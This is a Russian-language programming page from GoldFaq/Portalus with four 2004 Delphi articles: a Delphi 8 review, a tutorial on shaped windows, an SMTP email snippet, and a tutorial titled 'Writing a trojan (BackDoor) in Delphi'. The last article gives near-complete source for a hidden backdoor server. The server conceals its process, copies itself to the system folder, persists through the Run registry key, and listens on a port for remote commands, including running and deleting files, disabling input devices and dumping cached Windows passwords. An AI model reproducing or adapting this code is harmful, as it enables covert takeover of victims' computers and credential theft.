Проект Порталус


AboutPC+
Реклама в журнале
 [скрыть меню]

Раздел "Кодинг". Содержание:

Статьи:

Вперед Borland села в лужу или первое знакомство с Delphi 8
Вперед Регионы или формы нестандартного вида
Вперед Отправить E-mail
Вперед Пишем троян (BackDoor) на Delphi

Раздел "Кодинг". Статьи:

В конец страницы

Borland села в лужу или первое знакомство с Delphi 8

Автор:Angel
Сайт:GoldFaq.ru
E-mail:Angel@goldfaq.ru
Дата:08/08/04

Я тут на днях купил диск petrosoft'a (DVD) "Программирование для всех". Купил я этот диск, только потому, что на нём есть Delphi 8.0 Architect Edition + Update1.

Ну, думаю, что там Borland'овцы наворотили. Установил. Запустил, первое впечатление было ошеломительным, потому как я сразу и не понял "что есть что":)

Можете сами посмотреть на интерфейс Delphi 8: Смотреть(1024х768,JPEG,128kb)

Интерфейс действительно сильно изменился.(всё хоть и продуманно, но до ужаса не привычно: (и стало очень сильно напоминать VB.net) даже палитра компонентов теперь не висит сверху, а находится справа и стала более похожа на инспектор объектов. Плохо только, что нельзя её обратно прилепить:(

Изменения коснулись и редактора кода с редактором форм. теперь они - одно целое. переключаться между ними можно либо с помощью клавиши F12, либо выбирать как вкладки.

К большому моему сожалению интерфейс изменился не в лучшую сторону:(

Ну да ладно, хватить о интерфейсе! Приступим к рассмотрению новых возможностей, недостатков и фишек:) Эту статью я пишу на первом порыве, поэтому я ещё не узнал всех новых фишек дельфи 8. Но о самых "заметных" сейчас вам расскажу!

"Они чё, прикалываются что ли?" Это первая фраза произнесённая мной, когда я увидел сколько весит "пустая" форма на VCL. !!!Целых 1,28мб!!! Хотя в прошлой версии дельфи такая форма весила всего ~300-400кб, => разница почти в целый метр :(((. Но самое интересное, это то, что если сжать это прогу WinRAR'ом, то размер архива равен ~353kb...

Зато в новой версии наконец-то появилась возможность писать программы на .net, но для их запуска на машине пользавателя, обязательно должен быть установлен  MS .Net Framework, который весит ~60MB:((((!!!

Ещё я заметил, что UPX и AsPack не могут сжимать программы, скомпленые в Delphi 8 ;(.

Пропал компонент XpManifest и теперь, чтобы добиться красивых контролов в WinXP, нужно самому добавлять XPMan в список uses.

Наверное самая удобная функция, которая появилась в редакторе кода, это возможность свернуть любую секцию, процедуру, и т.д, нажав на минус возле этой секции.

Borland убрала САМУЮ лучшую фишку дельфи - VCL+win32 и теперь запуск Win32 функций напрямую стал невозможен. С этим связан огромный гимор при разработки программ:(

Восьмая версия дельфи совсем затормозилась! :(. Загрузка на Cel2000;Ram 256mb около 25сек!

Заключение.

В этой статье, конечно, не рассмотрены все новшества Delphi 8. Но и по тому, что приведено здесь можно сказать, что борланд сама села в грязную лужу и нас туда потянула:( Но как уже было замечено множеством людей, у борладцев хорошо получаются только нечётные версии продуктов, а 8- число нечётное. Возможно положение вещей в Delphi 9 исправится, но косяк под именем Delphi 8 не замазать ни чем!

P.S: Очень жалко видеть, как твой любимый инструмент разработки приложений, которым ты пользовался столько лет, был просто втоптан в грязь подавляющим большеством его пользователей, и лично тобой:(

Назад В начало страницы На главную страницу В конец страницы Вперед 

В конец страницы

Регионы или формы нестандартного вида

Автор:Angel
Сайт:GoldFaq.ru
E-mail:Angel@goldfaq.ru
Дата:08/08/04

Ну что, надоели уже прямоугольные формы? Знаю, что надоели:) Поэтому и хочу посвятить непосвященных в тайну познания функции SetWindowRgn.

Многие спрашивают: "Зачем нужны не стандартные формы, если есть стандартные?". Отвечаю, они нужны для того, чтобы пользователю было приятно смотреть на вашу программу! Это очень важно если вы делаете программу не для себя, а на продажу. Ведь от интерфейса программы зависит её "оценка", главное- не переборщить в этом деле:) и сперва довести до ума и безглючности код, а только потом думать об интерфейсе.

Начнём. Сперва немного теории, а затем практика.

Функция SetWindowRgn предназначена для того, чтобы задать регион(HRgn) для формы, т.е вместо стандартной прямоугольной формы можно сделать круглую, в форме эллипса, и т.д.

Параметров у этой функции всего три:

1) hWnd-Handle окна, чью форму мы собрались менять

2) hRgn-регион(об этом чуть ниже)/p>

3) bRedraw-bollean перерисовывать форму или нет

Теперь о втором параметре более подробно:

Регион-это то, как будет выглядеть форма. Для создания региона существуют следующие функции:

function CreateEllipticRgn(X1, Y1, X2, Y2: Integer): HRgn;

Создаёт эллиптическую область, ограниченную указанным прямоугольником.

Параметры:
X1, Y1: Верхний левый угол прямоугольника
X2, Y2: Верхний правый угол прямоугольника


 function CreateEllipticRgnIndirect(var ARect: TRect): HRgn;

Создаёт эллиптическую область, ограниченную прямоугольником, указаным в ARect

Параметры:

Arect:TRect, содержащий верхний левый и правый нижний угол ограничивающего прямоугольника.


 function CreatePolygonRgn(var Points; Count, PolyFillMode: Integer): HRgn;

Создаёт многоугольную область

Параметры:

Points: Массив TPoint, содержащий вершины многоугольника

Count: Число точек в TPoint

PolyFillMode: Режим для заполнения области.


function CreatePolyPolygonRgn(var Points; var PolyCounts, Counts, PolyFillMode: Integer): HRgn;

Создаёт область из ряда возможно перекрывающихся многоугольников.

Параметры:

Points: Массив TPoint, содержащий вершины многоугольника.

PolyCounts: Целочисленный массив, где каждый соответственный элемент определяет число точек в каждом многоугольнике в Points.

Count: Размер PolyCounts

PolyFillMode: Режим для заполнения области.


 function CreateRectRgnIndirect(var ARect: TRect): HRgn;

Создаёт прямоугольную область ограниченную ARect.

Параметры:

ARect: TRect, содержащий правый верхний в левый нижний углы области.


CreateRoundRectRgn(X1, Y1, X2, Y2, X3, Y3: Integer): HRgn;

Создаёт прямоугольную область с закруглёнными углами, ограниченную указанной областью.

Параметры:

X1, Y1: Верхний левый угол области.

X2, Y2: Правый нижний угол области.

X3: Ширина эллипса для закругления углов.

Y3: Высота эллипса для закругления углов.


Представьте, что у вас в руках лист бумаги. Представили? А теперь представьте, что этот лист бумаги и есть форма. Так вот, суть в том, что вы не можете вырезать кусок так, чтобы его край заходил за край листа и выл виден. так и в виртуальном варианте листа, невозможно нарастить поверхность за пределами формы, т.к она не будет видна!

Что ж, с теорией немного разобрались, теперь осталось показать, как всё это работает.

Далее идёт исходный код юнита1, который преобразит форму на ваших глазах из уродливого прямоугольника в прямоугольник с закруглёнными углами:))) При этом у формы не будет заголовка (Caption) и её можно будет таскать за любое место на ней ;).

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
procedure WMNCHITTEST(var m:TWMNCHITTEST); message WM_NCHITTEST;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.WMNCHITTEST(var m:TWMNCHITTEST);
begin
inherited;
if M.Result=htClient then
M.Result:=htCaption
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
With Form1 do
begin
BorderStyle:=bsNone;
Width:=300;
Height:=300;
Position:=poDesktopCenter;
Color:=clBackground
end;
SetWindowRgn(handle,CreateRoundRectRgn(0,0,300,300,100,100),False);
end;

end.

А сейчас предлагаю вашему вниманию немного пошлый:) проект, который покажет вам, некоторые приёмы работы с регионами.

Скачать

Назад В начало страницы На главную страницу В конец страницы Вперед 

В конец страницы

Отправить E-mail

Автор:Юрий Березин [ner0x]
Сайт:GoldFaq.ru
E-mail:admin@goldfaq.ru
ICQ:774-18-22
Дата:08/08/04

Отправить e-mail в Delphi можно следующим способом:

procedure TForm1.Button1Click(Sender: TObject);
begin
NMSMTP1.Host   := 'smtp.mail.ru';
NMSMTP1.UserID := 'vasia';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress       := 'your_mail@host.com';
NMSMTP1.PostMessage.ToAddress.Text    := 'support@microsoft.com';
NMSMTP1.PostMessage.ToCarbonCopy.Text := 'your_mail@host.com';
NMSMTP1.PostMessage.ToBlindCarbonCopy.Text := 'second_your_mail@host.com';
NMSMTP1.PostMessage.Body.Text         := 'This is message send from GoldFaq.ru';
NMSMTP1.PostMessage.Attachments.Text  := 'c:\File.txt';
NMSMTP1.PostMessage.Subject           := 'GoldFaq.ru - Russian Cyber-Portal';
NMSMTP1.SendMail;
ShowMessage('Письмо отправлено!');
NMSMTP1.Disconnect;
end;

Назад В начало страницы На главную страницу В конец страницы Вперед 

В конец страницы

Пишем троян (BackDoor) на Delphi

Автор:Юрий Березин [ner0x]
Сайт:GoldFaq.ru
E-mail:admin@goldfaq.ru
ICQ:774-18-22
Дата:08/08/04

Сейчас мы рассмотрим пример написания простейшего BackDoor’a на Delphi.

BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.

Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv.

Нажимаем Project -> View Source, стираем там все и пишем:

program Server;
uses
Forms,
Unit1 in 'Unit1.pas' {frmsrv};
begin
Application.Initialize;
Application.CreateForm(TFrmsrv, frmsrv);
Application.ShowMainForm:=false; //чтобы главная форма не показывалась
Application.Run;
end.

Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}

Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;
procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
try
hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку
registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');
registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess

freelibrary(hndl); // выгружаем библиотеку из памяти
except end;
end;
function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetWindowsDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;
function SysDir: string; // Определение системной папки
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000); 
SysDir:=Trim(Copy(strBuffer,1,intLen));
end;
procedure Install;
var
Reg:TRegistry;
cPath,Win:string;
begin
try
Win:=SysDir+’sys32.exe’; // Путь в системной папке
cPath:=Application.ExeName; // Путь к нашему exe-файлу
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); 

//Открывaем ключ
//автозапуска

Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе
Reg.CloseKey; // Закрываем ключ
Reg.Free;
if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то
begin
if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить
CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.
end;
except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

end;

Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:

procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);

var comd,param,str1,tmp: string;
i:integer;
Reg:Tregistry;
begin 
str1:=socket.receivetext; // Принимаем данные от клиента
i:=pos('!?!',str1);
comd:=copy(str1,0,i-1);
param:=copy(str1,i+3,length(str1)-i);
if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!
begin
ExitWindowsEx(EWX_REBOOT, 0);
Socket.SendText('tmp!?!Перезагружается...');
end;
if comd='opCD' then //открыть сидюк
begin
mciSendString(Pchar('set cdaudio door open'),nil,0,0);
Socket.SendText('tmp!?!CD-ROM открыт...');
end;
if comd='clCD'then
begin
mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
Socket.SendText('tmp!?!CD-ROM закрыт...');
end;
if comd='dir'then //получить список файлов
begin
tmp:='file!?!'+ShowFile(param);
Socket.SendText(tmp);
end;
if comd='run' then //запустить файл
begin
if FileExists (param) then
begin
ShellExecute(handle,'Open',PChar(param),nil,nil,1);
Socket.SendText('tmp!?!Файл запущен...');
end
else
Socket.SendText('tmp!?!Не удалось запустить файл...');
end;
if comd='del' then //удалить файл
begin

if FileExists (param) then
begin
DeleteFile(param);
Socket.SendText('tmp!?!Файл удален...');
end
else
Socket.SendText('tmp!?!Не удалось удалить файл...');
end;
if comd='boot' then
begin
ExitWindowsEx(EWX_SHUTDOWN, 0);
Socket.SendText('tmp!?!Комп выключатеся...');
end;
if comd='getpass' then //получить кешированные пароли
begin
Socket.SendText('pass!?!'+GetPasswords);
end;
if comd='close' then // закрыть сервер
begin
Socket.SendText('tmp!?!Сервер Закрыт...');
Application.Terminate;
exit;
end;
if comd='killme' then
begin
Socket.SendText('tmp!?!Сервер удален...');
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открываем ключ

//автозапуска

Reg.deletevalue('Sys32'); // Удаляем
Reg.Free;
Application.Terminate;
exit;
end;
if comd='dismouse' then // отключаем мышь
begin
Socket.SendText('tmp!?!Мышь отключена...');
WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);
end;
if comd='diskey' then // отключаем клаву
begin
Socket.SendText('tmp!?!Клава отключена...');
WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);
end;
if comd='msg' then // выдаем месагу
begin
MessageBox(application.Handle,PChar(param),'',32);
Socket.SendText('tmp!?!Сообщение послано...');
end;
end;

В процедуре создания формы пишем:

procedure TFrmSrv.FormCreate(Sender: TObject);
begin
HideACD; // прячемся от Ctrl+Alt+Del
Install; // устанавливаемся
SrvMain.Open; // открываем порт
SrvMain.Active:=true;
end;

И функции для получения паролей и списка файлов.

function TFrmSrv.ShowFile(param:string):string;
begin
frmsrv.FB.Directory:=param;
Result:=frmsrv.fb.items.text;
end;

Получение Кешированных паролей:

var
Count:Integer;
FPasswords:string;
function AddPassword(WinPassword:PWinPassword; dw:DWord):LongBool;stdcall;
var
Password:string;
PC: array [0..$FF] of Char;
begin
Inc(Count);
Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC,PC);
Password:=StrPas(PC);
Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize + WinPassword.PasswordSize);
Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
PC[WinPassword.PasswordSize]:=#0;
CharToOem(PC,PC);
Password:=Password + ': ' + StrPas(PC);
if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
FPasswords:=FPasswords + Password + #13#10;
Result:=True;
end;
function TFrmSrv.GetPasswords:string;
var
hndl : thandle;
WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
begin
try
hndl:=loadlibrary('MPR.DLL');
WNetEnumCachedPasswords:=getprocaddress(hndl,'WNetEnumCachedPasswords');
Count:=0;
FPasswords:='';
WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
freelibrary(hndl);
except end;
Result:=FPasswords;
end;

Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать. Размер сервера получлся не маленьким, но если сжать упаковщик, то будет всего 150 КБ.

Ну вот и рассмотрели пример простейшего BackDoor’a на Delphi. Не так то уж это и сложно.

Назад В начало страницы На главную страницу В конец страницы Вперед 

 
design: ФуксЪ, Solmex 
Реклама в журнале


@ portalus.ru